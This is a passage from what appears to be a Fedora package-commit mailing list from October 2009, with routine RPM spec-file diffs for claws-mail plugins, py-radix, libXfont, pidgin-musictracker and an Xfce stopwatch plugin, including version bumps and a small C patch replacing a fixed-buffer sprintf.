-claws-mail-extra-plugins-3.7.2.tar.bz2
+claws-mail-extra-plugins-3.7.3.tar.bz2


Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/devel/claws-mail-plugins.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- claws-mail-plugins.spec	7 Aug 2009 06:37:35 -0000	1.44
+++ claws-mail-plugins.spec	13 Oct 2009 17:29:05 -0000	1.45
@@ -3,31 +3,31 @@
 %define archive		0.6.5
 %define attachwarner    0.2.17
 %define attremover	1.0.10
+%define bsfilter        1.0.2
 %define cachesaver	0.10.9
-%define fancy           0.9.7
+%define fancy           0.9.8
 %define fetchinfo	0.4.24
-%define gtkhtml2viewer  0.24
+%define gtkhtml2viewer  0.25
 %define mailmbox	1.14.3
 %define newmail		0.0.15
-%define notification	0.22
-%define perl		0.9.15
+%define notification	0.23
+%define perl		0.9.16
+%define python          0.2
 %define rssyl		0.25
 %define spamreport      0.3.9
 %define synce		0.7.5
-%define tnef            0.3.5
-%define vcalendar	2.0.5
+%define tnef            0.3.6
+%define vcalendar	2.0.6
 
 Name:           claws-mail-plugins
-Version:        3.7.2
-Release:        3%{?dist}
+Version:        3.7.3
+Release:        1%{?dist}
 Summary:        Additional plugins for claws-mail
 
 Group:          Applications/Internet
 License:        GPLv2 and GPLv3+ and MIT
 URL:            http://claws-mail.org
 Source0:        http://downloads.sourceforge.net/sylpheed-claws/claws-mail-extra-plugins-%{version}.tar.bz2
-# fix double free in fancy plugin (#515373) from upstream svn
-Patch0:         fancy-free.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  claws-mail-devel >= %{version}
@@ -49,11 +49,14 @@ BuildRequires:  enchant-devel
 BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
+BuildRequires:  python
+BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}
 Requires:       %{name}-archive = %{version}-%{release}
 Requires:       %{name}-att-remover = %{version}-%{release}
 Requires:       %{name}-attachwarner = %{version}-%{release}
+Requires:       %{name}-bsfilter = %{version}-%{release}
 Requires:       %{name}-cachesaver = %{version}-%{release}
 Obsoletes:      %{name}-etpan-privacy < %{version}-%{release}
 Requires:       %{name}-fancy = %{version}-%{release}
@@ -64,6 +67,7 @@ Requires:       %{name}-mailmbox = %{ver
 Requires:       %{name}-newmail = %{version}-%{release}
 Requires:       %{name}-notification = %{version}-%{release}
 Requires:       %{name}-perl = %{version}-%{release}
+Requires:       %{name}-python = %{version}-%{release}
 Requires:       %{name}-rssyl = %{version}-%{release}
 Requires:       %{name}-spam-report = %{version}-%{release}
 Requires:       %{name}-synce = %{version}-%{release}
@@ -126,6 +130,13 @@ Obsoletes:      sylpheed-claws-plugins-a
 Enables the removal of attachments from emails.When right-clicking a message,
 choose 'Remove attachments' from the submenu.
 
+%package bsfilter
+Summary:        Bayesian spam filtering for claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description bsfilter
+Bayesian spam filtering for claws-mail using Bsfilter.
 
 %package cachesaver
 Summary:        A cache saving plugin
@@ -217,6 +228,17 @@ Obsoletes:      sylpheed-claws-plugins-p
 This plugin provides an extended filtering engine for the email client
 claws-mail. It allows for the use of full perl power in email filters.
 
+%package python
+Summary:        Python scripting access to claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description python
+This plugin offers a Python scripting access to Claws Mail. Python code can be
+entered interactively into an embedded Python console, or stored in scripts
+under ~/.claws-mail/python-scripts. The scripts are then accessible via the
+menu of the main window.
+
 %package rssyl
 Summary:        RSS plugin for claws-mail
 Group:          Applications/Internet
@@ -270,7 +292,6 @@ exporting of your meetings or all your c
 
 %prep
 %setup -q -n claws-mail-extra-plugins-%{version}
-%patch0 -p1
 
 %build
 #acpi_notifier
@@ -292,6 +313,11 @@ cd ../att_remover-%{attremover}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+# bsfilter
+cd ../bsfilter_plugin-%{bsfilter}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
 # cachesaver
 cd ../cachesaver-%{cachesaver}
 %configure --disable-static --disable-dependency-tracking
@@ -332,6 +358,12 @@ cd ../perl_plugin-%{perl}
 %configure --disable-static --disable-dependency-tracking
 %{__make} %{?_smp_mflags}
 
+#python
+cd ../python_plugin-%{python}
+%configure --disable-static --disable-dependency-tracking
+%{__make} %{?_smp_mflags}
+
+
 #rssyl
 cd ../rssyl-%{rssyl}
 %configure --disable-static --disable-dependency-tracking
@@ -384,6 +416,12 @@ cd att_remover-%{attremover}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+# bsfilter_plugin
+cd bsfilter_plugin-%{bsfilter}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+%find_lang bsfilter_plugin
+
 # cachesaver
 cd cachesaver-%{cachesaver}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -427,6 +465,11 @@ cd perl_plugin-%{perl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
 cd -
 
+#python
+cd python_plugin-%{python}
+%{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
+cd -
+
 #rssyl
 cd rssyl-%{rssyl}
 %{__make} install DESTDIR=$RPM_BUILD_ROOT CLAWS_MAIL_PLUGINDIR=%{_libdir}/claws-mail/plugins/
@@ -508,6 +551,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc att_remover-%{attremover}/README
 %{_libdir}/claws-mail/plugins/att_remover*
 
+%files bsfilter -f bsfilter_plugin.lang
+%defattr(-,root,root,-)
+%doc bsfilter_plugin-%{bsfilter}/AUTHORS
+%doc bsfilter_plugin-%{bsfilter}/ChangeLog
+%doc bsfilter_plugin-%{bsfilter}/COPYING
+%doc bsfilter_plugin-%{bsfilter}/README
+%{_libdir}/claws-mail/plugins/bsfilter*
+
 %files cachesaver
 %defattr(-,root,root,-)
 %doc cachesaver-%{cachesaver}/AUTHORS
@@ -569,6 +620,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc perl_plugin-%{perl}/README
 %{_libdir}/claws-mail/plugins/perl_plugin.so
 
+%files python
+%defattr(-,root,root,-)
+%doc python_plugin-%{python}/AUTHORS
+%doc python_plugin-%{python}/ChangeLog
+%doc python_plugin-%{python}/COPYING
+%doc python_plugin-%{python}/README
+%{_libdir}/claws-mail/plugins/python_plugin*
+
 %files rssyl -f rssyl.lang
 %defattr(-,root,root,-)
 %doc rssyl-%{rssyl}/AUTHORS
@@ -609,6 +668,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/claws-mail/plugins/vcalendar/
 
 %changelog
+* Mon Oct 12 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
+- 3.7.3-1
+- version upgrade
+- new plugins bsfilter, python
+
 * Fri Aug 07 2009 Andreas Bierfert <andreas.bierfert[AT]lowlatency.de>
 - 3.7.2-3
 - fix crash in fancy plugin (#515373)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	7 Jul 2009 04:42:02 -0000	1.21
+++ sources	13 Oct 2009 17:29:05 -0000	1.22
@@ -1 +1 @@
-0bdbbf69b2420e4bbb8d0ae85f9f85d6  claws-mail-extra-plugins-3.7.2.tar.bz2
+aa397973a01893c0ce1b96402020ab62  claws-mail-extra-plugins-3.7.3.tar.bz2


--- fancy-free.patch DELETED ---



From mdomsch at fedoraproject.org  Tue Oct 13 17:31:36 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:31:36 +0000 (UTC)
Subject: rpms/py-radix/EL-5 py-radix.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013173136.DAFAF11C00E8@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11369

Modified Files:
	.cvsignore sources 
Added Files:
	py-radix.spec 
Log Message:
initial import


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:31:45 -0000	1.1
+++ .cvsignore	13 Oct 2009 17:31:36 -0000	1.2
@@ -0,0 +1 @@
+py-radix-0.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:31:45 -0000	1.1
+++ sources	13 Oct 2009 17:31:36 -0000	1.2
@@ -0,0 +1 @@
+8c853ce312b769de627d958a1cd6e5a0  py-radix-0.5.tar.gz



From ajax at fedoraproject.org  Tue Oct 13 17:37:25 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 17:37:25 +0000 (UTC)
Subject: rpms/libXfont/devel .cvsignore, 1.17, 1.18 libXfont.spec, 1.47,
	1.48 sources, 1.18, 1.19
Message-ID: <20091013173725.6708111C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXfont/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12515

Modified Files:
	.cvsignore libXfont.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.4.1-1
- libXfont 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXfont/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	18 Feb 2009 19:10:56 -0000	1.17
+++ .cvsignore	13 Oct 2009 17:37:25 -0000	1.18
@@ -1 +1 @@
-libXfont-1.4.0.tar.bz2
+libXfont-1.4.1.tar.bz2


Index: libXfont.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfont/devel/libXfont.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- libXfont.spec	25 Jul 2009 05:12:25 -0000	1.47
+++ libXfont.spec	13 Oct 2009 17:37:25 -0000	1.48
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXfont runtime library
 Name: libXfont
-Version: 1.4.0
-Release: 5%{?dist}
+Version: 1.4.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,12 +9,11 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: http://www.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
+BuildRequires: pkgconfig(fontsproto)
 BuildRequires: xorg-x11-util-macros
-BuildRequires: xorg-x11-proto-devel
 BuildRequires: xorg-x11-xtrans-devel >= 1.0.3-3
 BuildRequires: libfontenc-devel
 BuildRequires: freetype-devel
-BuildRequires: autoconf automake libtool
 
 %description
 X.Org X11 libXfont runtime library
@@ -23,7 +22,7 @@ X.Org X11 libXfont runtime library
 Summary: X.Org X11 libXfont development package
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: libfontenc-devel pkgconfig
+Requires: libfontenc-devel
 
 %description devel
 X.Org X11 libXfont development package
@@ -79,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xfont.pc
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.4.1-1
+- libXfont 1.4.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXfont/devel/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	18 Feb 2009 19:10:56 -0000	1.18
+++ sources	13 Oct 2009 17:37:25 -0000	1.19
@@ -1 +1 @@
-3a8e06b25912ef339d70a8ba003da9b5  libXfont-1.4.0.tar.bz2
+4f2bed2a2be82e90a51a24bb3a22cdf0  libXfont-1.4.1.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 17:38:41 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 17:38:41 +0000 (UTC)
Subject: rpms/libXfont/F-12 libXfont.spec,1.47,1.48 sources,1.18,1.19
Message-ID: <20091013173841.E77D411C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXfont/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12788

Modified Files:
	libXfont.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.4.1-1
- libXfont 1.4.1



Index: libXfont.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfont/F-12/libXfont.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- libXfont.spec	25 Jul 2009 05:12:25 -0000	1.47
+++ libXfont.spec	13 Oct 2009 17:38:41 -0000	1.48
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXfont runtime library
 Name: libXfont
-Version: 1.4.0
-Release: 5%{?dist}
+Version: 1.4.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,12 +9,11 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: http://www.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
+BuildRequires: pkgconfig(fontsproto)
 BuildRequires: xorg-x11-util-macros
-BuildRequires: xorg-x11-proto-devel
 BuildRequires: xorg-x11-xtrans-devel >= 1.0.3-3
 BuildRequires: libfontenc-devel
 BuildRequires: freetype-devel
-BuildRequires: autoconf automake libtool
 
 %description
 X.Org X11 libXfont runtime library
@@ -23,7 +22,7 @@ X.Org X11 libXfont runtime library
 Summary: X.Org X11 libXfont development package
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: libfontenc-devel pkgconfig
+Requires: libfontenc-devel
 
 %description devel
 X.Org X11 libXfont development package
@@ -79,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xfont.pc
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.4.1-1
+- libXfont 1.4.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXfont/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	18 Feb 2009 19:10:56 -0000	1.18
+++ sources	13 Oct 2009 17:38:41 -0000	1.19
@@ -1 +1 @@
-3a8e06b25912ef339d70a8ba003da9b5  libXfont-1.4.0.tar.bz2
+4f2bed2a2be82e90a51a24bb3a22cdf0  libXfont-1.4.1.tar.bz2



From hpejakle at fedoraproject.org  Tue Oct 13 17:39:11 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Tue, 13 Oct 2009 17:39:11 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-11 pidgin-musictracker.spec,1.3,1.4
Message-ID: <20091013173911.72DBF11C00E8@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12924/F-11

Modified Files:
	pidgin-musictracker.spec 
Log Message:
fix for #528450


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/F-11/pidgin-musictracker.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pidgin-musictracker.spec	12 Oct 2009 18:33:16 -0000	1.3
+++ pidgin-musictracker.spec	13 Oct 2009 17:39:11 -0000	1.4
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -10,6 +10,7 @@ License:	GPLv2+
 URL:		http://code.google.com/p/pidgin-musictracker/
 Source0:	http://%{name}.googlecode.com/files/%{name}-%{version}.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch0:		%{name}-preferences.patch
 
 BuildRequires:	gtk2-devel
 BuildRequires:	dbus-glib-devel
@@ -26,7 +27,7 @@ statuses on.
 
 %prep
 %setup -q
-
+%patch0 -p0 -b .preferences
 
 %build
 %configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
@@ -47,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
+* Tue Oct 13 2009 Jan Klepek <jan.klepek at. hp.com> - 0.4.20-3
+- fix for #528450
+
 * Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
 - enabled debug package and honored RPM_OPT_FLAGS
 



From hpejakle at fedoraproject.org  Tue Oct 13 17:39:11 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Tue, 13 Oct 2009 17:39:11 +0000 (UTC)
Subject: rpms/pidgin-musictracker/devel
	pidgin-musictracker-preferences.patch, 
	NONE, 1.1 pidgin-musictracker.spec, 1.4, 1.5
Message-ID: <20091013173911.D403011C00E8@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12924/devel

Modified Files:
	pidgin-musictracker.spec 
Added Files:
	pidgin-musictracker-preferences.patch 
Log Message:
fix for #528450

pidgin-musictracker-preferences.patch:
 preferences.c |   33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

--- NEW FILE pidgin-musictracker-preferences.patch ---
--- src/preferences.c.orig	2009-05-27 00:10:46.000000000 +0200
+++ src/preferences.c	2009-10-13 09:24:26.597455580 +0200
@@ -205,11 +205,15 @@
 	purple_prefs_set_bool(data, state);
 }
 
-#define APPEND_FORMAT_MENU(name, format) \
-	sprintf(buf, "%s - %s", name, format); \
-	widget = gtk_menu_item_new_with_label(buf); \
-	gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget); \
-	g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+static void
+append_format_menu(const char *name, const char *format)
+{
+  char *buf = g_strdup_printf("%s - %s", name, format);
+  GtkWidget *widget = gtk_menu_item_new_with_label(buf);
+  g_free(buf);
+  gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget);
+  g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+}
 
 #define ADD_FORMAT_ENTRY(vbox, name, type) \
 	hbox = gtk_hbox_new(FALSE, 5); \
@@ -259,16 +263,15 @@
 
 	// Popup menu for format
 	format_menu = gtk_menu_new();
-	char buf[100];
-	APPEND_FORMAT_MENU(_("Artist"), "%p");
-	APPEND_FORMAT_MENU(_("Album"), "%a");
-	APPEND_FORMAT_MENU(_("Title"), "%t");
-	APPEND_FORMAT_MENU(_("Track Duration"), "%d");
-	APPEND_FORMAT_MENU(_("Elapsed Track Time"), "%c");
-	APPEND_FORMAT_MENU(_("Progress Bar"), "%b");
-	APPEND_FORMAT_MENU(_("Player"), "%r");
-	APPEND_FORMAT_MENU(_("Music Symbol (may not display on some networks)"), "%m");
-	APPEND_FORMAT_MENU(_("Status Message"), "%s");
+	append_format_menu(_("Artist"), "%p");
+	append_format_menu(_("Album"), "%a");
+	append_format_menu(_("Title"), "%t");
+	append_format_menu(_("Track Duration"), "%d");
+	append_format_menu(_("Elapsed Track Time"), "%c");
+	append_format_menu(_("Progress Bar"), "%b");
+	append_format_menu(_("Player"), "%r");
+	append_format_menu(_("Music Symbol (may not display on some networks)"), "%m");
+	append_format_menu(_("Status Message"), "%s");
 	gtk_widget_show_all(format_menu);
 
 	// Format selection


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/devel/pidgin-musictracker.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pidgin-musictracker.spec	12 Oct 2009 18:34:21 -0000	1.4
+++ pidgin-musictracker.spec	13 Oct 2009 17:39:11 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -10,6 +10,7 @@ License:	GPLv2+
 URL:		http://code.google.com/p/pidgin-musictracker/
 Source0:	http://%{name}.googlecode.com/files/%{name}-%{version}.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch0:		%{name}-preferences.patch
 
 BuildRequires:	gtk2-devel
 BuildRequires:	dbus-glib-devel
@@ -26,7 +27,7 @@ statuses on.
 
 %prep
 %setup -q
-
+%patch0 -p0 -b .preferences
 
 %build
 %configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
@@ -47,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
+* Tue Oct 13 2009 Jan Klepek <jan.klepek at. hp.com> - 0.4.20-3
+- fix for #528450
+
 * Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
 - enabled debug package and honored RPM_OPT_FLAGS
 



From hpejakle at fedoraproject.org  Tue Oct 13 17:39:11 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Tue, 13 Oct 2009 17:39:11 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-12 pidgin-musictracker.spec,1.4,1.5
Message-ID: <20091013173911.9E70111C00E8@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12924/F-12

Modified Files:
	pidgin-musictracker.spec 
Log Message:
fix for #528450


Index: pidgin-musictracker.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin-musictracker/F-12/pidgin-musictracker.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pidgin-musictracker.spec	12 Oct 2009 18:33:16 -0000	1.4
+++ pidgin-musictracker.spec	13 Oct 2009 17:39:11 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:		pidgin-musictracker
 Version:	0.4.20
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Musictracker plugin for Pidgin
 
 Group:		Applications/Internet
@@ -10,6 +10,7 @@ License:	GPLv2+
 URL:		http://code.google.com/p/pidgin-musictracker/
 Source0:	http://%{name}.googlecode.com/files/%{name}-%{version}.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch0:		%{name}-preferences.patch
 
 BuildRequires:	gtk2-devel
 BuildRequires:	dbus-glib-devel
@@ -26,7 +27,7 @@ statuses on.
 
 %prep
 %setup -q
-
+%patch0 -p0 -b .preferences
 
 %build
 %configure --disable-werror --disable-static --enable-debug CFLAGS="$RPM_OPT_FLAGS"
@@ -47,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pidgin/musictracker.so
 
 %changelog
+* Tue Oct 13 2009 Jan Klepek <jan.klepek at. hp.com> - 0.4.20-3
+- fix for #528450
+
 * Mon Oct 12 2009 Jan Klepek <jan.klepek at, hp.com> 0.4.20-2
 - enabled debug package and honored RPM_OPT_FLAGS
 



From cwickert at fedoraproject.org  Tue Oct 13 17:39:14 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 17:39:14 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/devel xfce4-stopwatch-plugin.spec, 1.1, 
	1.2
Message-ID: <20091013173914.F12B611C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13033

Modified Files:
	xfce4-stopwatch-plugin.spec 
Log Message:
add review #


Index: xfce4-stopwatch-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel/xfce4-stopwatch-plugin.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xfce4-stopwatch-plugin.spec	13 Oct 2009 17:23:58 -0000	1.1
+++ xfce4-stopwatch-plugin.spec	13 Oct 2009 17:39:14 -0000	1.2
@@ -1,3 +1,5 @@
+# Review: https://bugzilla.redhat.com/show_bug.cgi?id=514351
+
 Name:		xfce4-stopwatch-plugin
 Version:	0.2.0
 Release:	2%{?dist}



From mdomsch at fedoraproject.org  Tue Oct 13 17:40:18 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 13 Oct 2009 17:40:18 +0000 (UTC)
Subject: rpms/py-radix/F-10 py-radix.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091013174018.3BDB411C02A1@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13290

Modified Files:
	.cvsignore sources 
Added Files:
	py-radix.spec 
Log Message:
initial import


--- NEW FILE py-radix.spec ---
Name: py-radix
Summary: Radix tree data structure for Python
Version: 0.5
Release: 5%{?dist}
Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
License: BSD with advertising
Group: Development/Libraries
BuildRoot: %{_tmppath}/%{name}-buildroot
BuildRequires: python-devel
Url: http://www.mindrot.org/py-radix.html

%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%description
py-radix is an implementation of a radix tree for Python, which 
supports storage and lookups of IPv4 and IPv6 networks. 

The radix tree (a.k.a Patricia tree) is the data structure most 
commonly used for routing table lookups. It efficiently stores 
network prefixes of varying lengths and allows fast lookups of 
containing networks. py-radix's implementation is built solely 
for networks (the data structure itself is more general). 

%prep
%setup -q
rm -f inet_ntop.c strlcpy.c
touch inet_ntop.c strlcpy.c

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install --root=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root)
%{python_sitearch}/radix*
%doc LICENSE README TODO ChangeLog

%changelog
* Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
- remove inet_ntop.c and strlcpy.c for safety.  They're only used on
  Windows.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-4
- more package cleanups during review
  - quiet setup, clean buildroot at install, drop python Requires,
    add dist tag.

* Thu Oct  1 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-2
- update for Fedora packaging guidelines

* Wed Jun 28 2006 Damien Miller <djm at mindrot.org>
- Build RPM


Index: .cvsignore
